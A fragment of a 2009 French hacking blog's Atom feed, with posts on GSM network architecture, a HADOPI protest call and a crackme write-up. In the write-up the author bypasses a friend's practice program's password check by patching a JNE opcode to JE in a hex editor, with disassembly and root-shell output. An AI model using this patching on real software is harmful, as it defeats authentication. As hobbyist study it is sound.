src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2009/03/reseaux-gsm-chapitre-ii.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEMFQX85fSp7ImA9WxVUE0Q.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-5021823170881518617</id><published>2009-03-18T17:25:00.000+01:00</published><updated>2009-03-18T18:13:30.125+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-18T18:13:30.125+01:00</app:edited><title>Réseaux GSM : chapitre I</title><content type="html">&lt;div style="text-align: left;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Salut a tous !&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Alors voila , j'ai décider de me lancer dans une nouvelle aventure : l'univers des réseaux de télécommunication mobile ou GSM (Global System for Mobile communications) .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Voici donc une première approche afin de comprendre un peu mieux les bases de ce monde pour ma part encore trop peu exploré jusqu'alors , et pourtant incontournable et qui plus est , en pleine expansion !&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: right;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(153, 153, 255);"&gt;Pré-requis&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Zone cellulaire :&lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;Zone couverte&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Les cellules sont plus ou moins grandes en fonction du nombre potentiel d’abonnés qu’elles doivent gérer .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ainsi , les zones de couverture des cellules voient leur taille diminuer  ( + d'abonnés == cellules plus petites )  pour garantir une large bande passante aux&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;utilisateurs.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 255, 255);"&gt;Routage:&lt;/span&gt; &lt;span style="color: rgb(204, 204, 204);"&gt;Construction d’un chemin de communication entre deux téléphones mobiles.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;          &lt;span style="font-weight: bold;"&gt;                &lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold; color: rgb(102, 255, 255);"&gt;&lt;span style="font-style: italic;"&gt; [+] Architecture d'un Réseau GSM&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;           &lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;1) Le MS :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Dans réseau GSM, le terminal mobile MS (Mobile Segment)a trois aspects :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(255, 153, 0);"&gt;*&lt;/span&gt; Le téléphone de voiture&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(255, 153, 0);"&gt;*&lt;/span&gt; Le portable d'une puissance de 8 W&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(255, 153, 0);"&gt;*&lt;/span&gt; Le portatif (terminal de poche), d'un poids compris entre 150 et 350 grammes et d'une puissance d'environ 2W&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(153, 153, 255);"&gt;Le terminal est scindé en deux parties :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt; Le combiné téléphonique identifié par un numéro unique : l'IMEI (International Mobile Equipement Identity) qui est l'identité internationale spécifique à chaque combiné.&lt;br /&gt;En pratique ce numéro n'est que peu utilisé&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt; La carte SIM (Subscriber Identity Module)  et qui contient les informations suivantes :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;         &lt;span style="color: rgb(255, 153, 0);"&gt;o-&lt;/span&gt; Le numéro d'identification temporaire attribué par le réseau qui permet la localisation et qui est utilisé sur les canaux radio (TMSI Temporary Station Identity)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;         &lt;span style="color: rgb(255, 153, 0);"&gt;o-&lt;/span&gt; La liste des fréquences à écouter pour identifier la meilleure Station de Base (BTS)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 153, 102);"&gt;o-&lt;/span&gt; Les algorithmes de chiffrement&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Cette liste n'est pas exhaustive.    D'autres informations sont stockées sur cette carte, tel que le code permettant de la débloquer :&lt;br /&gt;&lt;br /&gt;une carte SIM se bloque automatiquement après un certain nombre d'erreurs sur le code entré par l'utilisateur.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Cet ensemble permet d'accéder aux services d'un PLMN GSM.&lt;br /&gt;&lt;br /&gt;Cette découpe permet à l'usager d'utiliser n'importe que terminal GSM car son identification complète est portée par la carte SIM.&lt;br /&gt;              L'établissement d'une communication commence toujours par une phase d'authentification durant laquelle le réseau dialogue avec la carte SIM.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Le terminal mobile a pour seule interface les équipements de type BTS et ses fonctionnalités sont :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(255, 153, 0);"&gt;*&lt;/span&gt; La gestion de la liaison de données avec le BTS (protocole LAPDm)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(255, 153, 0);"&gt;*&lt;/span&gt; La surveillance périodique de l'environnement par des séries de mesure stockées sur la carte SIM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(255, 153, 0);"&gt;*&lt;/span&gt; La restitution des données vocales ou non (messagerie) destinées à l'abonné&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;span style="color: rgb(255, 153, 0);"&gt;*&lt;/span&gt; Les opérations de chiffrement&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;           &lt;span style="font-weight: bold; color: rgb(102, 255, 255);"&gt;2)Le BSS (Base Station sub System) comprend :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt;BTS ( Base Transceiver Station)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;    Les stations de base (BTS) assurent la couverture de l’aire de service :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;          Chaque cellule dispose d’une BTS et d’une seule,une BTS gère la transmission radio.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;-Une BTS est reliée à un contrôleur de station de base BSC (BSC, base station controller).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;*&lt;/span&gt;BSC (Base Station Controller)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;    Un  BSC est lui-même relié à un commutateur de service mobile (MSC, mobiles services switching center).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                     &lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;( 1 seule BTS par cellule mais un BSC gère un ensemble de BTS )&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Le BSC organise la supervision, l’allocation et la relâche des canaux radios (routage), conformément aux demandes reçues du MSC.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          &lt;span style="font-weight: bold; color: rgb(102, 255, 255);"&gt; 3) Le NSS comprend  : des bases de données (HLR) et des commutateurs (MSC)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 153, 102);"&gt;*&lt;/span&gt;HLR (Home Location Register)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  Un HLR  est une base de données de localisation et de caractérisation des abonnés .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;A l’aide du numéro appelé (appel entrant), on en déduit la localisation du destinataire grâce à l’enregistreur de localisation nominal (HLR).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Le HLR fournit l’adresse du MSC, BSC, et BTS couvrant l’aire dans laquelle se trouve le destinataire.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 153, 102);"&gt;*&lt;/span&gt;MSC (Mobile-services Switching Center)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Les MSC  sont des commutateurs mobiles associés en général aux bases de données VLR (Visitor Location Register) .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  Le MSC gère l’établissement d’appel, la relâche d’appel, et tout ce qui est lié aux identités des abonnés&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 153, 102);"&gt;*&lt;/span&gt;VLR (Visitor Location Register)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; C'est la base de données qui gère les abonnés présents dans une certaine zone géographique.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;  Ces informations sont une copie de l'original conservé dans le HLR.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 153, 102);"&gt;*&lt;/span&gt;AuC (Authentication Center)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; Il mémorise pour chaque abonné une clé secrète utilisée pour authentifier les demandes de services et pour le chiffrement des communications. Un AuC est en général associé à chaque HLR.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;&lt;span style="font-style: italic; color: rgb(51, 102, 255);"&gt;[+] Schéma simplifié d'un réseau GSM  ( topologie de type "Arbre")&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2PS8BofuJBc/ScEmKL4f9BI/AAAAAAAAABA/KlS8TPq_KVY/s1600-h/Sch%C3%A9ma-r%C3%A9seau-GSM.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 213px;" src="http://3.bp.blogspot.com/_2PS8BofuJBc/ScEmKL4f9BI/AAAAAAAAABA/KlS8TPq_KVY/s400/Sch%C3%A9ma-r%C3%A9seau-GSM.jpg" alt="" id="BLOGGER_PHOTO_ID_5314570991704208402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;              &lt;span style="font-weight: bold; color: rgb(102, 255, 255);"&gt;4) Les interfaces :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204); font-style: italic;"&gt;a)L’interface Um&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;C’est l’interface entre les deux sous systèmes MS (Mobile Station) et le BSS (Base Station Sub-system. On la nomme couramment « interface radio » ou « interface air ».&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204); font-style: italic;"&gt;b)L’interface Abis&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;C’est l’interface entre les deux composants du sous système BSS : la BTS (Base Station Transceiver) et le BSC (Base Station Controler).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204); font-style: italic;"&gt;c)L’interface A&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;C’est l’interface entre les deux sous systèmes BSS (Base Station Sub System) et le NSS (Network Sub System).&lt;br /&gt;&lt;br /&gt;Voila pour l'introduction , j'espère que cet article vous aura permis d'apprendre deux trois choses concernant les réseaux de téléphonie mobile .&lt;br /&gt;&lt;br /&gt;Rendez-vous sous peu  pour la suite .&lt;br /&gt;&lt;br /&gt;Have Fun !&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-5021823170881518617?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ipnmoXXPLaJXOC4QoIdJJSUlBME/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ipnmoXXPLaJXOC4QoIdJJSUlBME/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ipnmoXXPLaJXOC4QoIdJJSUlBME/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ipnmoXXPLaJXOC4QoIdJJSUlBME/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/gc1zhbE2p6c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/5021823170881518617/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=5021823170881518617" title="4 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/5021823170881518617?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/5021823170881518617?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/gc1zhbE2p6c/reseaux-gsm-chapitre-i.html" title="Réseaux GSM : chapitre I" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_2PS8BofuJBc/ScEmKL4f9BI/AAAAAAAAABA/KlS8TPq_KVY/s72-c/Sch%C3%A9ma-r%C3%A9seau-GSM.jpg" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2009/03/reseaux-gsm-chapitre-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkQFQHsycSp7ImA9WxVWF0g.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-7309124778979880066</id><published>2009-02-27T12:05:00.000+01:00</published><updated>2009-02-27T16:58:31.599+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-27T16:58:31.599+01:00</app:edited><title>Parce que la France n’est pas la Chine,parceque ce sont les utilisateurs qui ont fait du cyber espace ce ce qu'il est aujourd'hui : "BLACK-OUT" !</title><content type="html">&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt;&lt;strong style="font-weight: normal; font-style: italic;"&gt;(!)  Devant le ridicule d'un gouvernement qui s'entête à vouloir déconnecter du Net des familles&lt;/strong&gt;&lt;strong style="font-weight: normal; font-style: italic;"&gt;   &lt;/strong&gt;&lt;strong style="font-weight: normal; font-style: italic;"&gt; entières sans preuves valables ni procès, la Quadrature appelle les citoyens épris de liberté à procéder au &lt;em&gt;« black-out »&lt;/em&gt; de leurs sites, blogs, profils, avatars, etc. &lt;/strong&gt;&lt;br /&gt;&lt;strong style="font-weight: normal; font-style: italic;"&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong style="font-weight: normal; font-style: italic;"&gt;Comme en Nouvelle-Zélande, seul pays avec la France où la   « riposte graduée »   devait être imposée par la loi, pour finalement être repoussée : &lt;/strong&gt;&lt;br /&gt;&lt;strong style="font-weight: normal; font-style: italic;"&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong style="font-weight: normal; font-style: italic;"&gt;pour protester contre cette loi imbécile et sa « liste blanche » de sites autorisés, le Net français doit agir et se draper de noir.&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong style="color: rgb(204, 204, 204);"&gt;Ainsi , la Quadrature invite tous ses soutiens, individus et collectifs, à :&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(255, 255, 255); text-align: center;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;    [*] Peindre leurs sites, blogs, profils, courriers, commentaires ou avatars de la couleur noire du « black-out », au besoin en utilisant les images mises à leur disposition.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;    [*] Afficher un message expliquant les motivations de cette protestation contre une loi absurde, inapplicable et dangereuse qui met en péril le web français, l'innovation, et les libertés fondamentales.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;    [*] Faire un lien vers le « tableau de bord HADOPI » de La Quadrature du Net.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;    [*] Contacter son député pour lui annoncer que l'on a procédé au « black-out » de son espace sur le Net pour protester contre la loi « Création et Internet », lui transmettre le dossier de La Quadrature6 et lui demander ce qu'il en pense.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt; [*] Inviter ses proches et ses contacts à faire de même.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(204, 204, 204);"&gt;&lt;strong&gt;« Cet appel est un hommage rendu aux citoyens néo-zélandais qui ont pu faire entendre la raison à leur gouvernement. Il s'agit d'un remix, d'une réappropriation d'une idée qui, comme la culture, n'existe que pour être partagée. Ce sont ceux qui traitent leurs clients de " pirates " et les députés qui votent leurs lois qu'il faudrait déconnecter !»&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong style="color: rgb(204, 204, 204);"&gt;Rendez-vous ici pour plus d'infos :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.laquadrature.net/fr/APPEL-HADOPI-blackout-du-net-francais"&gt;http://www.laquadrature.net/fr/APPEL-HA … t-francais&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;MOBILISONS NOUS ! &lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-7309124778979880066?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WMWF36G-YHBZaQsEcThSwyhXMAw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WMWF36G-YHBZaQsEcThSwyhXMAw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WMWF36G-YHBZaQsEcThSwyhXMAw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WMWF36G-YHBZaQsEcThSwyhXMAw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/6JiD5gkQtA4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kmkz-web-blog.blogspot.com/feeds/7309124778979880066/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4457623080129847893&amp;postID=7309124778979880066" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/7309124778979880066?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/7309124778979880066?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/6JiD5gkQtA4/devant-le-ridicule-dun-gouvernement-qui.html" title="Parce que la France n’est pas la Chine,parceque ce sont les utilisateurs qui ont fait du cyber espace ce ce qu'il est aujourd'hui : &quot;BLACK-OUT&quot; !" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2009/02/devant-le-ridicule-dun-gouvernement-qui.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcERnYzcSp7ImA9WxVWF04.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-6119980380471596592</id><published>2009-02-25T22:58:00.000+01:00</published><updated>2009-02-27T11:53:27.889+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-27T11:53:27.889+01:00</app:edited><title>"Sysinfos" is  powned .</title><content type="html">&lt;span style="color: rgb(192, 192, 192);"&gt;Au lendemain de l'article sur les .bss overflow posté par mon ami &lt;span style="color: rgb(153, 255, 255);"&gt;HyP &lt;/span&gt; sur &lt;a href="http://hyperion-hyp.blogspot.com/"&gt;son blog&lt;/a&gt;  , j'ai eu envie de voir comment bypasser l'authentification de son "&lt;span style="font-style: italic;"&gt;Sysinfos&lt;/span&gt;" mais avec une approche différente .&lt;br /&gt;&lt;br /&gt;Bon , aprés coup je me suis vite rendu compte que ce serait  trés classique voir presque triste , je le reconnait  mais 24h aprés la publication de son article ,  ça me tenter donc ...&lt;br /&gt;&lt;br /&gt;Code de &lt;a href="http://membres.lycos.fr/profil4/Audits/Sysinfos.c"&gt;Sysinfos.c ici&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Premiere  étape  comme souvent , on désassemble  a la recherche d'une ou plusieurs intructions intéréssantes ( ici avec objdump) de cette maniere :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;objdump -d Sysinfos &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;et...bingo !&lt;br /&gt;&lt;br /&gt;Aprés  avoir parcouru les lignes ,on se rend vite compte de la simplicité de la chose lorsqu'on tombe sur un JNE (Jump if Not Egal ) intéréssant.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;...........................................&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; ...........................................&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 8048410:       55                      push   ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 8048411:       89 e5                   mov    esp,ebp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 8048413:       53                      push   ebx     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 8048414:       83 ec 04                sub    0x4,esp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 8048417:       80 3d bc 98 04 08 00    cmpb   0x0,0x80498bc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 804841e:       75 40                   jne    8048460 &lt;__do_global_dtors_aux+0x50&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;;saut au destructeur si valeur inégale&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;..........................................&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; ..........................................&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reste plus qu'a l'éditer a l'aider d'un éditeur hexadécimal pour en modifier la valeur sachant que l'on doit remplacer la valeur 75 par 74 .&lt;br /&gt;&lt;br /&gt;Nous avons  jne = &lt;span style="color: rgb(255, 0, 0);"&gt;75&lt;/span&gt;&lt;br /&gt;Nous allons faire en sorte d'obtenir je = &lt;span style="color: rgb(255, 0, 0);"&gt;74&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Editons donc a l'aide (par exemple ) de Ghex .&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Ghex2 Sysinfos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On va rechercher la valeur hexa &lt;span style="color: rgb(255, 0, 0);"&gt;75 40&lt;/span&gt; et hop , y'a plus qu'a modifier , enregistrer, faire un chmod +x Sysinfos et lancer le prog pour vérifier.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[root@localhost kmkz]# ./Sysinfos2 i&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Vérification de votre mot de passe..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'+) Authentification réussie...     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; U'r root!                          &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; sh 3.0 #&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Et voila , le Sysinfos est encore une fois bypasser et ce d'une façon des plus élémentaire mais c'était " just for  fun "  ;-) .&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-6119980380471596592?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/u4UeK6H8dswtmpRBziQoWs8QSR8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/u4UeK6H8dswtmpRBziQoWs8QSR8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
